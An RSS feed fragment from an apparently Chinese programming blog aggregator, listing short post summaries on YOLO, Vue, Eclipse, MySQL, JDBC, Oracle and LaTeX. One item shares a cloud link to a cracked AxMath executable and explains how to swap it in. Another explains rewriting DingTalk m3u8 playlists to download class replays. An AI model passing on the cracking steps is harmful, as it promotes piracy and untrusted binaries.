      <title>Darknet yolo 输出检测目标数目 简单的计数器实现</title>
      <link>https://bchobby.github.io/posts/e2f06078221158586df6bf91c060b887/</link>
      <pubDate>Tue, 13 Apr 2021 11:55:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2f06078221158586df6bf91c060b887/</guid>
      <description>在测试自己训练的数据集时，在终端输出图片中&#xA;找到\darknet-master\src\image.c文件&#xA;文件中selected_detections_num即为我们需要的数值&#xA;在draw_detections_v3函数末尾添加输出语句&#xA;输出结果:&#xA;成功.</description>
    </item>
    <item>
      <title>系统分析师</title>
      <link>https://bchobby.github.io/posts/4b83b4f14d2c4e2739bb9113b40adff6/</link>
      <pubDate>Tue, 13 Apr 2021 11:29:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b83b4f14d2c4e2739bb9113b40adff6/</guid>
      <description> 客观题 时间：150分钟类型：选择题 案例题 时间：90分钟类型：简答 论文 时间：120分钟 </description>
    </item>
    <item>
      <title>vue项目中，设置页面局部loading加载效果（element）</title>
      <link>https://bchobby.github.io/posts/00c8d20887c3eb73527531aa089a14d8/</link>
      <pubDate>Tue, 13 Apr 2021 11:01:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00c8d20887c3eb73527531aa089a14d8/</guid>
      <description>直接引用element的loading，默认的是全屏loading，实际中有很多地方不需要全屏loading，只需要某部分loading，如上图&#xA;话不多说，直接上代码&#xA;封装好的loading.js&#xA;import Vue from &#39;vue&#39; // loading框设置局部刷新，且所有请求完成后关闭loading框 let loading let needLoadingRequestCount = 0 // 声明一个对象用于存储请求个数 function startLoading (targetdq) { loading = Vue.prototype.$loading({ lock: true, text: &#39;努力加载中...&#39;, background: &#39;rgba(255,255,255,.4)&#39;, target: document.querySelector(targetdq) // 设置加载动画区域 }) } function endLoading () { loading.close() } export function showFullScreenLoading (targetdq) { if (needLoadingRequestCount === 0) { startLoading(targetdq) } needLoadingRequestCount++ } export function hideFullScreenLoading () { if (needLoadingRequestCount &amp;lt;= 0) return needLoadingRequestCount-- if (needLoadingRequestCount === 0) { endLoading() } } export default { showFullScreenLoading, hideFullScreenLoading } 在需要的页面中，import引入这个loading.</description>
    </item>
    <item>
      <title>AxMath安装和使用</title>
      <link>https://bchobby.github.io/posts/3ac6c9e653c9ef0f1c127ccbf93467ea/</link>
      <pubDate>Mon, 12 Apr 2021 23:38:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ac6c9e653c9ef0f1c127ccbf93467ea/</guid>
      <description>1.安装&#xA;云盘链接：https://pan.baidu.com/s/1uKc-WTlHvWcKsKPd9OXyxA&#xA;提取码：zdy1&#xA;先点击运行外面那个安装程序exe文件，按照指示安装好以后粘贴破解版的exe文件到安装好的文件夹里替换原装的exe文件&#xA;2. 在word上安装AxMath插件&#xA;打开AxMath，这里有一个设置小齿轮，点开&#xA;在Office上创建插件菜单–&amp;gt;确定&#xA;打开word就能看到&#xA;3. 使用&#xA;1.在操作面板上输入公式&#xA;这里输入的是勾股定理&#xA;2.转换成LaTeX代码&#xA;3.在word上插入“行内公式”&#xA;4.粘贴LaTeX代码&#xA;粘贴好以后就点那个按钮就可以转换成公式&#xA;4.转换成word上的公式&#xA;点击那个按钮以后就可以转换成公式直接显示在word上了</description>
    </item>
    <item>
      <title>2021-04-12</title>
      <link>https://bchobby.github.io/posts/a734fa386217e3bc39703592c4b45c36/</link>
      <pubDate>Mon, 12 Apr 2021 19:32:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a734fa386217e3bc39703592c4b45c36/</guid>
      <description>PFC6.0中利用柔性膜模拟三轴试验中的橡胶模是可行的 来自文献：Influence of block shape on macroscopic deformation response and meso-fabric evolution of crushed gangue under the triaxial compression</description>
    </item>
    <item>
      <title>eclipse如何设置编辑器字体大小</title>
      <link>https://bchobby.github.io/posts/b1639b8a068e025e3dc2318f00fd7119/</link>
      <pubDate>Mon, 12 Apr 2021 16:04:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1639b8a068e025e3dc2318f00fd7119/</guid>
      <description>eclipse如何设置编辑器字体大小&#xA;1.打开eclipse，选择“window”----- “preference”&#xA;2.在弹出的窗口中找到“general”&#xA;3.在左侧搜索框搜索colors and fonts&#xA;修改字体大小</description>
    </item>
    <item>
      <title>Vue获取url路径</title>
      <link>https://bchobby.github.io/posts/c084118f8d87dfb13f103009ccf61993/</link>
      <pubDate>Mon, 12 Apr 2021 14:17:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c084118f8d87dfb13f103009ccf61993/</guid>
      <description>Vue中获取url路径 需要使用window.location.[options]&#xA;我们先弹出看一下window.location会显示什么？&#xA;alert(window.location); /sys-user为当前vue的路径&#xA;options属性有如下&#xA;属性描述hash从#号开始的RULhost主机名和当前URL的端口hostname当前URL的主机名herf完整的URLpathname当前URL的路径部分port当前URL的端口protocol当前URL协议search从问好（?)开始的URL（查询部分） alert(window.location.hash) alert(window.location.host); alert(window.location.hostname); alert(window.location.href); alert(window.location.pathname); alert(window.location.port); alert(window.location.protocol); alert(window.location.search); 比如: http://localhost:8080/#/test?limitUserName=test&amp;amp;grade=0 像这种路径,取到的就是空值&#xA;因为查询字符串search只能在取到“？”后面和“#”之前的内容，如果“#”之前没有“？”search取值为空。</description>
    </item>
    <item>
      <title>2021 前端校招面试知识点（八股文）整理</title>
      <link>https://bchobby.github.io/posts/124d1a9d0fd0b70a7edd347c0d66e29b/</link>
      <pubDate>Mon, 12 Apr 2021 14:06:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/124d1a9d0fd0b70a7edd347c0d66e29b/</guid>
      <description>1. JavaScript 基本数据类型 (7种)this 的指向 (new, 隐式绑定, 显式绑定)Function 的 call, apply, bind 方法Promise, eventloop, 宏任务和微任务闭包 (概念, 用途, 手写)原型链继承 (extends, 原型链继承, 构造函数继承, 组合继承, 寄生组合继承)深拷贝和浅拷贝事件冒泡/捕获, 事件委托, 阻止冒泡, 哪些事件不能冒泡sort() 的复杂度 2. 浏览器 回流和重绘http 缓存, 协商缓存cookies, sessionStorage, localStorage跨域问题 3. CSS 盒子模型, 怪异盒子float, 清除浮动垂直居中的方法flow, absolute, relative, stickyflex样式优先级 4. HTML 块元素, 行内元素语义化标签: header, section 等异步加载JS文件: defer 和 async 5. Vue 响应式原理 (Vue2 和 Vue3)生命周期, 父子生命周期的顺序组件通信: props, $emit 等vuex: action 和 mutationdiff 原理v-if 和 v-showdata 为什么是一个函数computed 和 watchmixin mixin 的缺陷异步组件, keep-alive路由, history模式 6.</description>
    </item>
    <item>
      <title>ubuntu里面webots报错：cannot open shared object file: No such file or directory</title>
      <link>https://bchobby.github.io/posts/6539a939186cc1b6736a158aced41572/</link>
      <pubDate>Mon, 12 Apr 2021 10:37:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6539a939186cc1b6736a158aced41572/</guid>
      <description>ubuntu里面webots报错：cannot open shared object file: No such file or directory 问题描述&#xA;INFO: ros: Starting controller: /usr/local/webots/projects/default/controllers/ros/ros&#xA;/usr/local/webots/projects/default/controllers/ros/ros: error while loading shared libraries: libroscpp.so: cannot open shared object file: No such file or directory&#xA;WARNING: ‘ros’ controller exited with status: 127.&#xA;解决方法&#xA;我们需要从终端使用命令行的形式打开webots，不能点击webots软件图标来打开，然后从webots里面加载模型就没有问题了。&#xA;1、首先要在终端数输入roscore启动&#xA;roscore 2、然后打开新终端输入软件名打开webots软件&#xA;webots 3、问题解决&#xA;具体神马原因我也不清楚，无意间发现这样就可以把问题解决了&#xA;如果可以帮到你，可以点个赞肯定一下。</description>
    </item>
    <item>
      <title>eclipse怎么切换工作空间</title>
      <link>https://bchobby.github.io/posts/80fc9eb38157a53290c34a4ee569e77e/</link>
      <pubDate>Mon, 12 Apr 2021 08:58:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80fc9eb38157a53290c34a4ee569e77e/</guid>
      <description>1.进行点击Eclipse编辑代码的窗口界面中，进行点击菜单中file的选项。&#xA;2.弹出了下拉菜单中进行选择为“switch workspace”的选项。&#xA;3.弹出了下一级菜单中进行选择为other的选项。&#xA;4.然后就会弹出了eclipse launcher的选项窗口，进行点击browse的选项。&#xA;5.在已有路径用进行选择为不同路径中。点击ok的选项。</description>
    </item>
    <item>
      <title>错误	LNK1181	无法打开输入文件“opencv_worldXXX.dll“   解决办法</title>
      <link>https://bchobby.github.io/posts/15151f6c6c1191859d641b933e085220/</link>
      <pubDate>Sun, 11 Apr 2021 18:00:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15151f6c6c1191859d641b933e085220/</guid>
      <description>在进行VS+Opencv项目时，碰到一个小问题，就是编译过程中提示错误 LNK1181 无法打开输入文件“opencv_worldXXX.dll&#34; .&#xA;尝试将相应的dll文件放入system32文件夹方法无果。&#xA;1.挨个配置检查，最后在附加依赖项中找到，在这里发现，该文件作为继承的值存在，但在此处无法进行修改删除。&#xA;2.在属性管理器中 点击.user文件进入配置 链接器-&amp;gt;输入-&amp;gt;附加依赖项在这里可以更改继承的项.将找不到的.dll文件名删掉&#xA;3.删掉之后，回到解决方案资源管理器视图，检查附加依赖项.此时.dll文件已经没了.点击生成解决方案&#xA;4.成功&#xA;造成这种情况的原因: 新手，可能是之前在进行项目配置时输入错误，将.dll文件当做.lib文件添加了进去。 这种错误挺白痴的，但是如果不仔细检查，确实很难发现这种低级错误&#xA;往往也就是这种低级错误会影响整个项目的进度，所以把这个错误记录下来，警醒自己。</description>
    </item>
    <item>
      <title>Latex引用引理出现??的解决方法</title>
      <link>https://bchobby.github.io/posts/b770635a684ee9ac4c0f108407e11642/</link>
      <pubDate>Sun, 11 Apr 2021 16:43:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b770635a684ee9ac4c0f108407e11642/</guid>
      <description> 撰写论文时需要引用文章前面所写的引理/定理&#xA;这里我遇到了一个问题&#xA;\newtheorem{Lemma}{引理}[section] \begin{Lemma}\label{doc} (1)。。。 (2)。。。 (3)。。。 \end{Lemma} 引用的时候要用\ref ，\cite是不行的，且第一次使用&#xA;引用定理\ref{doc} 的时候会输出 引用定理 ?? 的结果，多编译一次就好了，每次修改label括号中的名字后都需要多编译两次才能去掉问号。&#xA;注：注意使用头文件&#xA;\usepackage{hyperref} \hypersetup{hypertex=true, colorlinks=true, linkcolor=blue, anchorcolor=blue, citecolor=blue}%用于公式引用 </description>
    </item>
    <item>
      <title>PYTHON : 二进制 、 八进制 、十六进制的转换和输出</title>
      <link>https://bchobby.github.io/posts/df56071ebace16ffda731fcdaf1bd171/</link>
      <pubDate>Sun, 11 Apr 2021 15:21:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df56071ebace16ffda731fcdaf1bd171/</guid>
      <description> PYTHON : 二进制 、 八进制 、十六进制的转换和输出 十进制转换成其他进制 保存为文本串 二进制 bIn（）八进制 oct（）十六进制 hex（） 不输出前缀 使用format函数 如果不想输出进制前面的 前缀符号 ， 这时我们就要使用format函数&#xA;在这里我们要注意 ， 二进制和八进制 的再format里的 符号是‘b’，‘o’ 而十六进制format 里的符号就不再是‘h’ 而是**‘x’**。&#xA;当然如果是要输入的是负数，输出结果前也是会返回一个负号的。&#xA;如果要产生一个没有前缀 ，并且想增加指示最大的值&#xA;x = -2546 format(2**32 + x,&#39;b&#39;) 其他 进制转换成十进制 其他不同的进制转换成十进制 ，我们就可以简单的使用int（）函数&#xA;介绍一下int（）函数&#xA;int(x,base=10) 在int（）中的 base 表示进制数，默认为十进制&#xA;如果是带base的话 ，我们输入的数就要以字符串的形式进行输入&#xA;例如&#xA;int(&#39;12&#39;,16) int(&#39;oxe&#39;,16) 顺便讲一下 python中字符和ASCll码是如何转换的&#xA;字符转换成ASCll&#xA;n = ord(&#39;A&#39;) ASCll转换成字符&#xA;n = chr(69) </description>
    </item>
    <item>
      <title>第七届蓝桥杯省赛（四平方和）---哈希</title>
      <link>https://bchobby.github.io/posts/f12046f56aef174c25767114bc27ff72/</link>
      <pubDate>Sun, 11 Apr 2021 14:44:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f12046f56aef174c25767114bc27ff72/</guid>
      <description>四平方和&#xA;四平方和定理，又称为拉格朗日定理：&#xA;每个正整数都可以表示为至多4个正整数的平方和。&#xA;如果把0包括进去，就正好可以表示为4个数的平方和。&#xA;比如：&#xA;5 = 0^2 + 0^2 + 1^2 + 2^2&#xA;7 = 1^2 + 1^2 + 1^2 + 2^2&#xA;（^符号表示乘方的意思）&#xA;对于一个给定的正整数，可能存在多种平方和的表示法。&#xA;要求你对4个数排序：&#xA;0 &amp;lt;= a &amp;lt;= b &amp;lt;= c &amp;lt;= d&#xA;并对所有的可能表示法按 a,b,c,d 为联合主键升序排列，最后输出第一个表示法&#xA;程序输入为一个正整数N (N&amp;lt;5000000) 要求输出4个非负整数，按从小到大排序，中间用空格分开 例如，输入： 5 则程序应该输出： 0 0 1 2 再例如，输入： 12 则程序应该输出： 0 2 2 2 再例如，输入： 773535 则程序应该输出： 1 1 267 838 题解： 首先明白题目要我们输出的是第一个表示法，并且要按照升序排列（0要带上）。&#xA;所以最直观来看的方法便是四层for循环遍历寻找符合的答案。&#xA;不过我们可以对其进行优化，首先是使用三层for循环进行解答。因为我们的目标是四个数各自的平方相加为n，既然如此我们不妨只利用三层循环找出三个数，第四个数我们可以由n减去前面三个数各自的平方再开方得到，这样的话我们只用判断这个数是否为整数即可。&#xA;并且我们可以先创建一个哈希表来简单的判断一下什么可以符合题意什么不符合题意来删去一部分不用进行判断的元素。&#xA;需要注意的是由于我们i,j,k分别为第一层，第二层，第三层循环，因此若能出现小的数，其必会先出现，即四个数中最小的数必然是在i先出现，第二小的在j出现，其余同理，即我们直接将i,j,k,c输出即可，其本来便一定为按照从小到大排列的。并且由于我们只要出现的第一种，所以后面i,j,k大小反转的情况也不会出现。即若在1，3，4，5停止了，后面本应会出现的5，4，3，1到达不了了。因为会先出现第一种的情况。&#xA;所以j,k循环中起点可以为j = i,k = j。</description>
    </item>
    <item>
      <title>linux 解、打war包，jar 命令详解</title>
      <link>https://bchobby.github.io/posts/041a140539c82b632947e6408c774674/</link>
      <pubDate>Sun, 11 Apr 2021 14:04:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/041a140539c82b632947e6408c774674/</guid>
      <description>打包命令(带目录)&#xA;jar -cvfM tast.war ./tast 解释：tast.war 要打包的文件名字，可以自己定义 ./tast 文件存放目录 解包命令&#xA;jar -xvf tast.war 解释同上</description>
    </item>
    <item>
      <title>Mysql基本数据类型</title>
      <link>https://bchobby.github.io/posts/01800ed116baa02940bb9d1cb36860d1/</link>
      <pubDate>Sun, 11 Apr 2021 10:44:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01800ed116baa02940bb9d1cb36860d1/</guid>
      <description>Schema与数据类型优化&#xA;1选择优化的数据类型&#xA;1.1更小的通常更好&#xA;选择你认为不会超过范围的最小类型&#xA;1.2简单就好&#xA;整型比字符操作代价更低，因为字符型的校对规则比整型比较更复杂，一个是使用mysql内建的类型而不是字符串存储日期和时间，另外一个是使用整型存储IP地址&#xA;1.3尽量避免NULL&#xA;可为NULL的列使得索引、索引统计、和值比较更为复杂。可为NULL的列会使用更多的存储空间，在MYsql例也需要特俗存储&#xA;总结：&#xA;在为列选择数据类型时，第一步需要确定合适大类型，数字、字符串、时间，这通常标胶简单&#xA;2、整数类型&#xA;整数&#xA;TINYINT、SMALLINT、MEDIUMINT、INT、BIGINT 8，16，24，32，64&#xA;整数类型为TINYINT UNSIgned，表示不允许为负值，这使得正数的上限提升一倍，有符号和无符号，使用相同的存储空间，具有相同的性能&#xA;实数&#xA;FLOAT DOUBLE DECIMAL，浮点类型在存储同样范围值的时候，通常比DECIMAL使用更少的空间&#xA;因此需要额外的空间和时间开销，因此尽量只在对小数进行精确计算时，才使用DECIMAL，但在数据量较大时，应当使用BIGINT，将小数乘以一百万，，可以同时避免浮点存储计算&#xA;字符串类型&#xA;VARCHAR&#xA;存储可变长字符串，比定长字符串更节省空间，VARCHAR需要1-2字节记录字符串的长度，VARCHAR节省了存储空间，对性能有帮助，但是由于行是变长的，所以update时，可能使行变得比原来更长，下列情况使用VARCHAR是合适的，字符串列的最大长度比平均长度大很多，列的更新很少，所以碎片不是问题。&#xA;CHAR&#xA;MYSQL总是根据分配的字符串长度分配足够的空间，当存储为char时，会删除所有的末尾空格，CHAR适合存储所有很短的字符串，或者所有的字符串都接近一个长度。&#xA;BLOB、TEXT&#xA;二者都是为了存储很大的数据而设计的字符串的数据类型，分别使用二进制和字符方式存储，&#xA;不同的是，BLOB二进制没有排序规则，TEXT有字符集和排序规则，再进行排序时，只能对该字段的最前面的部分字符进行排序&#xA;使用枚举代替字符串类型&#xA;目前没遇到，不进行学习&#xA;日期和时间类型&#xA;DATETIME&#xA;这个类型保存大范围的值，从1001到9999年，日期和时间封装到格式为YYYYMMDDHHMMSS，与时区无关，使用8个字节的存储空间&#xA;TIMESTAMP&#xA;1970倒2038年，日期和时间封装到格式为YYYYMMDDHHMMSS，与时区有关，使用4个字节的存储空间，对于TIMESTAMP，它把客户端插入的时间从当前时区转化为UTC（世界标准时间）进行存储。查询时，将其又转化为客户端当前时区进行返回。而对于DATETIME，不做任何改变，基本上是原样输入和输出。&#xA;关于TIMESTAMP和DATETIME的自动初始化和更新&#xA;自动初始化指的是如果对该字段（譬如上例中的hiredate字段）没有显性赋值，则自动设置为当前系统时间。&#xA;自动更新指的是如果修改了其它字段，则该字段的值将自动更新为当前系统时间。&#xA;范式是符合某一种级别的关系模式的集合。构造数据库必须遵循一定的规则。在关系数据库中，这种规则就是范式。&#xA;关系数据库中的关系必须满足一定的要求，即满足不同的范式。大数据生态中，各类强大的查询引擎层出不穷，相对廉价的磁盘和分布式技术，也让数据冗余变得可接受甚至更加方便。&#xA;在创建一个数据库的过程中，范化是将其转化为一些表的过程，这种方法可以使从数据库得到的结果更加明确。这样可能使数据库产生重复数据，从而导致创建多余的表。范化是在识别数据库中的数据元素、关系以及定义所需的表和各表中的项目等这些初始工作之后的一个细化的过程。&#xA;范式和反范式&#xA;1. 第一范式&#xA;1NF是对属性的原子性，要求属性具有原子性，即列不可再分解；&#xA;如学生（学号，姓名，性别，出生年月日）&#xA;2. 第二范式&#xA;2NF是对记录的惟一性，要求记录有惟一标识，即实体的惟一性，即不存在部分依赖；&#xA;简单来说就是拆表，以人为粒度做一张明细表，以课程号为粒度做一张维度表，两表关联使用，消除了数据冗余&#xA;表：学号、课程号、姓名、学分;&#xA;这个表明显说明了两个事务:学生信息, 课程信息;由于非主键字段必须依赖主键，这里学分依赖课程号，姓名依赖与学号，所以不符合二范式。&#xA;可能会存在问题：&#xA;数据冗余：每条记录都含有相同信息；&#xA;删除异常：删除所有学生成绩，就把课程信息全删除了；&#xA;插入异常：学生未选课，无法记录进数据库；&#xA;更新异常：调整课程学分，所有行都调整。&#xA;正确做法:&#xA;学生：Student(学号, 姓名)；&#xA;课程：Course(课程号, 学分)；&#xA;选课关系：StudentCourse(学号, 课程号, 成绩)。&#xA;三、第三范式&#xA;3NF是对字段的冗余性，要求任何字段不能由其他字段派生出来，它要求字段没有冗余，即不存在传递依赖；</description>
    </item>
    <item>
      <title>JDBC基础</title>
      <link>https://bchobby.github.io/posts/2523c708f2c4d5a45dfde5eb680e6c89/</link>
      <pubDate>Sun, 11 Apr 2021 09:42:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2523c708f2c4d5a45dfde5eb680e6c89/</guid>
      <description>//1.注册安装驱动 Class.forName(&#34;com.mysql.jdbc.Driver&#34;); String url=&#34;jdbc:mysql://localhost:3306/myemployees&#34;; String user=&#34;root&#34;; String passworld=&#34;123456&#34;; //2.连接数据库 Connection con = DriverManager.getConnection(url,user,passworld); if (con != null){ System.out.println(&#34;数据库登录成功...&#34;); }else { System.out.println(&#34;数据库登录失败...&#34;); } String sql=&#34;delete from employees where employee_id=206;&#34;; String sql1=&#34;SELECT * FROM `jobs`; &#34;; //3.获取发送SQL的对象 Statement statement=con.createStatement(); //DML语句返回int类型 int result=statement.executeUpdate(sql); if (result ==1 ){ System.out.println(&#34;执行成功...&#34;); }else { System.out.println(&#34;执行失败...&#34;); } //DQL语句返回结果数据集 ResultSet rs= statement.executeQuery(sql1); while (rs.next()){ String job_id=rs.getString(1); String job_title=rs.getString(2); String min_salary=rs.getString(3); String max_salary=rs.getString(4); System.out.println(job_id+&#34;\t&#34;+job_title+&#34;\t&#34;+min_salary+&#34;\t&#34;+max_salary); } //释放资源。 rs.close(); statement.close(); con.close(); #常见错误 java.</description>
    </item>
    <item>
      <title>oracle wait_time -1,个人对于v$session_wait中的WAIT_TIME,SECONDS_IN_WAIT,STATE关系的一点理解...</title>
      <link>https://bchobby.github.io/posts/3a17ce187a3bb1827f012452730e3e81/</link>
      <pubDate>Sun, 11 Apr 2021 05:55:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a17ce187a3bb1827f012452730e3e81/</guid>
      <description>首先意识到一点很重要,那就是oracle会话(进程)它不仅要waiting,更要working.[@more@]&#xA;首先意识到一点很重要,那就是oracle会话(进程)它不仅要waiting,更要working.其实这就是一层窗户纸,说出来谁都明白,但之前我好象就没有意识到这一点,所以对这3个字段之间的关系似乎一直都无法理解。&#xA;从操作系统的角度来讲,oracle进程等待资源可用,等待先决动作完成,等待新的工作去做,都会使它处于被阻塞的状态;当阻塞态解除的时候,它变为可运行状态,等待被调度进程调度占有CPU;最终它被调度占有CPU,从而执行它的动作。&#xA;oracle的等待事件针对的就是被阻塞态(当然也许是它的一个很大的一个子集,但不是全集),也就是说这时会话在waiting,如果这个时候你查询v$session_wait,STATE=WAITING,SECONDS_IN_WAIT表示已经等待的时间(误差是3秒),WAIT_TIME可以不予关注(8i中这时这个值一定就是0,但9i开始不一定就是0了,所以STATE=WAITING与WAIT_TIME=0不一定就存在着对应关系)。&#xA;但如果你查询v$session_wait时,对应的进程正处于可运行态,或者正占有CPU(比如正进行LIO,HASH运算等),也就是说这时会话在working,这时v$session_wait会怎样表现这种情况呢?在v$session_wait中没有对应行数据?不!有数据,但数据是最近的上一次等待的数据(这个等待已经结束,但下一次等待还没有到来),那如何与正在等待区分呢?通过STATE字段!这种情况下STATE是除WAITING之外的3种选择值：&#xA;WAITED UNKNOWN TIME :这时WAIT_TIME=-2,表示TIMED_STATISTICS=FALSE,oracle无法确定等待时间&#xA;WAITED SHORT TIME :这时WAIT_TIME=-1,表示最近的上一次等待的时间少于1cs,SECONDS_IN_WAIT表示自最近的上一次等待开始已经经历的时间(误差是3秒)&#xA;WAITED KNOWN TIME :表示最近的上一次等待的时间&amp;gt;=1cs,具体时间由WAIT_TIME(单位是cs)决定,SECONDS_IN_WAIT表示自最近的上一次等待开始已经经历的时间(误差是3秒)&#xA;这时也可以从OS级查看进程状态,也可以从v$sesstat,v$sess_io等会话统计信息处查看会话是否正在处理数据,比如LIO是否持续增大,会话的CPU时间是否持续增大等.&#xA;实验代码如下：&#xA;SA调用的脚本代码(instruct.txt)：&#xA;select sid from v$mystat where rownum=1;&#xA;alter session set session_cached_cursors=100;&#xA;select name,value from v$parameter where name=&#39;session_cached_cursors&#39;;&#xA;select to_char(sysdate,&#39;hh24:mi:ss&#39;) time from dual;&#xA;declare&#xA;v_num number(1);&#xA;begin&#xA;dbms_lock.sleep(300);&#xA;for i in 1..200000000&#xA;loop&#xA;select 1 into v_num from dual;&#xA;end loop;&#xA;end;&#xA;/&#xA;SA调用如下：&#xA;SQL&amp;gt; @h:instruct.txt;&#xA;SID&#xA;14&#xA;Session altered&#xA;NAME VALUE</description>
    </item>
    <item>
      <title>【H5移动端】用你的手机去访问电脑上的本地html文件（亲测有效！！前端小白福音）</title>
      <link>https://bchobby.github.io/posts/f18dbbdbcca9135d621726535dc9248f/</link>
      <pubDate>Sat, 10 Apr 2021 21:51:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f18dbbdbcca9135d621726535dc9248f/</guid>
      <description>文章目录 网络环境http协议服务关闭指定端口的防火墙手机访问IOS调试工具 废话不多说，直接开整！ 网络环境 首先你的手机要和电脑是在同一个局域网，例如手机和电脑连接同一个wifi，此次举例我是笔记本电脑连接我的手机热点，也是同属一个局域网下。&#xA;http协议服务 然后我们需要在电脑安装个http协议服务，就用http-server，我们通过cmd用npm的下载安装方式（如果是第一次见npm的小白，需要安装node环境哦，去百度安装一下）&#xA;npm install http-server -g 注意：然后通过cmd进入到你放html文件的文件夹内，通过http-server指令开启服务，cmd就会提示：&#xA;例如我的，第一个就是你手机可以访问的内网地址，第二个是你电脑的回环地址。&#xA;PS：按快捷键CTRL+C可以关闭服务&#xA;关闭指定端口的防火墙 别急啊，现在你的手机还是访问不了。打开你的防火墙设置–高级设置&#xA;新建个入站规则：&#xA;这里开放和http-server服务里一样的端口，例如我的是8080&#xA;名字随便取：&#xA;同样的操作，给出站的创建一个：&#xA;这样，8080端口就被完全打开了。&#xA;手机访问 好了，手机怎么访问，先看你的文件夹，例如我的啊。&#xA;当我在手机浏览器输入http-server服务给我开的172.20.10.4:8080后，默认访问的是index.html文件，如果你想访问其他文件，例如css效果测试，应该这样172.20.10.4:8080/css效果测试，就可以访问了。&#xA;每次修改完html文件后，手机浏览器页面要刷新一下才会更新哦。&#xA;IOS调试工具 在知乎发现个app调试工具，不过好像目前只有ios版的，在app store搜DebugAnywhere，下载。&#xA;打开，输入网址后点击debug：&#xA;目前版本好像不能刷新后更新。&#xA;如果成功的话请给个赞呀，谢谢！</description>
    </item>
    <item>
      <title>更新后改写m3u8文件 钉钉回放视频下载</title>
      <link>https://bchobby.github.io/posts/6d882f708888d2cec8da59b3b8ed0a2f/</link>
      <pubDate>Sat, 10 Apr 2021 20:09:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d882f708888d2cec8da59b3b8ed0a2f/</guid>
      <description>文章目录 前言一、m3u8文件的修改方式二、下载步骤1.下载m3u8文件2.修改数据 后记 前言 今天下载钉钉群的网课，发现以往使用的m3u8下载方式没法正常下载了，经过观察发现是钉钉对m3u8文件进行了改写，导致正常的下载器直接下载出错。&#xA;下载m3u8文件后进行编辑可使其符合下载格式。&#xA;需要的软件：Fiddler或Charles等抓包软件、m3u8下载器、支持正则表达式替换的文本编辑器&#xA;一、m3u8文件的修改方式 经过查找，阿里文档中有提到如何改写文件，链接如下&#xA;M3U8标准加密改写&#xA;二、下载步骤 1.下载m3u8文件 用抓包软件找到m3u8文件，复制其内容粘贴到本地的文档中。&#xA;注意保留原m3u8文件的url链接。&#xA;2.修改数据 m3u8文件内容如下：&#xA;#EXTM3U #EXT-X-VERSION:3 #EXT-X-MEDIA-SEQUENCE:1 #EXT-X-TARGETDURATION:34 #EXTINF:32.000, bffb7015-4493-4746-ab79-aa775cef081a/1.ts?auth_key=1618919458-0-0-8afda3452a5da02cc7c08b8c1d28016e #EXTINF:32.000, bffb7015-4493-4745-ab79-aa775cef081a/2.ts?auth_key=1618919458-0-0-467ee08df8e993eab57556c642639f7f #EXTINF:32.000, bffb7015-4493-4744-ab79-aa775cef081a/3.ts?auth_key=1618919458-0-0-541acd9e2427f4a566ae7d805a3d4ea8 #EXT-X-ENDLIST 而url链接为：&#xA;https://aliliving-pre.alicdn.com/live_hp/bffb7015-4493-4746-ab79-aa775cef080a_merge.m3u8?app_type=win&amp;amp;auth_key=1618919458-0-0-d3c65539bc1d0fdb46c9628347a92678&amp;amp;cid=458038508a9e019409695952cdd64481&amp;amp;token=3245ad693c070196dd5d99a695fd26efXp2ObViFILefEDrDg2gG70icBpXEup5S_-19MKfwXV9cdSreaNwnOL_qa7jwxDmxpkU4swvYPd04mjNVTJAbeeoIM_JTGDL1PEnA_UHVzj4=&amp;amp;token2=6e39f5b39bfcad0b01b1a53a28557b904qsIRDl5rOEFTTtEK-kbbXkX5oZ4tVyCxgRN4G863_h-ahkRipxgWzd3LwFQXcjnAq8KxiH9oJRBn2R3s6loovbysIigaREwQ9UuMzx6CC4&amp;amp;version=6.0.3-Release.3030387 这里需要修改两个地方，一个是ts文件的相对地址改为绝对地址，一个是去掉？及后面的多余内容。其中ts文件的完整url是：&#xA;https://aliliving-pre.alicdn.com/live_hp/bffb7015-4493-4746-ab79-aa775cef081a/1.ts 所以只要使用替换修改&#xA;bffb7015 为&#xA;https://aliliving-pre.alicdn.com/live_hp/bffb7015 其中的开头url来自之前保存的url链接。&#xA;再用正则表达式匹配后面的auth_key内容并删除即可。&#xA;使用到的正则表达式如下&#xA;\?auth_key=1618919458-0-0-................................. 一共有32个&#34;.&#34;用于匹配后面的随机key&#xA;完成修改的m3u8文件如下：&#xA;#EXTM3U #EXT-X-VERSION:3 #EXT-X-MEDIA-SEQUENCE:1 #EXT-X-TARGETDURATION:34 #EXTINF:32.000, https://aliliving-pre.alicdn.com/live_hp/bffb7015-4493-4746-ab79-aa775cef081a/1.ts #EXTINF:32.000, https://aliliving-pre.alicdn.com/live_hp/bffb7015-4493-4745-ab79-aa775cef081a/2.ts #EXTINF:32.000, https://aliliving-pre.alicdn.com/live_hp/bffb7015-4493-4744-ab79-aa775cef081a/3.ts #EXT-X-ENDLIST 文档改后缀名为.m3u8后就可以直接在下载器中下载了。&#xA;后记 不会下载m3u8文件和缺少软件可以看这个链接。&#xA;Fiddler 抓包下载 M3U8 视频.</description>
    </item>
    <item>
      <title>Mac 每次都要执行source ~/.bash_profile 后，配置的环境变量才生效（maven配置重启终端不生效）</title>
      <link>https://bchobby.github.io/posts/f8f012691d942231da5263aadb188cf6/</link>
      <pubDate>Sat, 10 Apr 2021 16:53:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8f012691d942231da5263aadb188cf6/</guid>
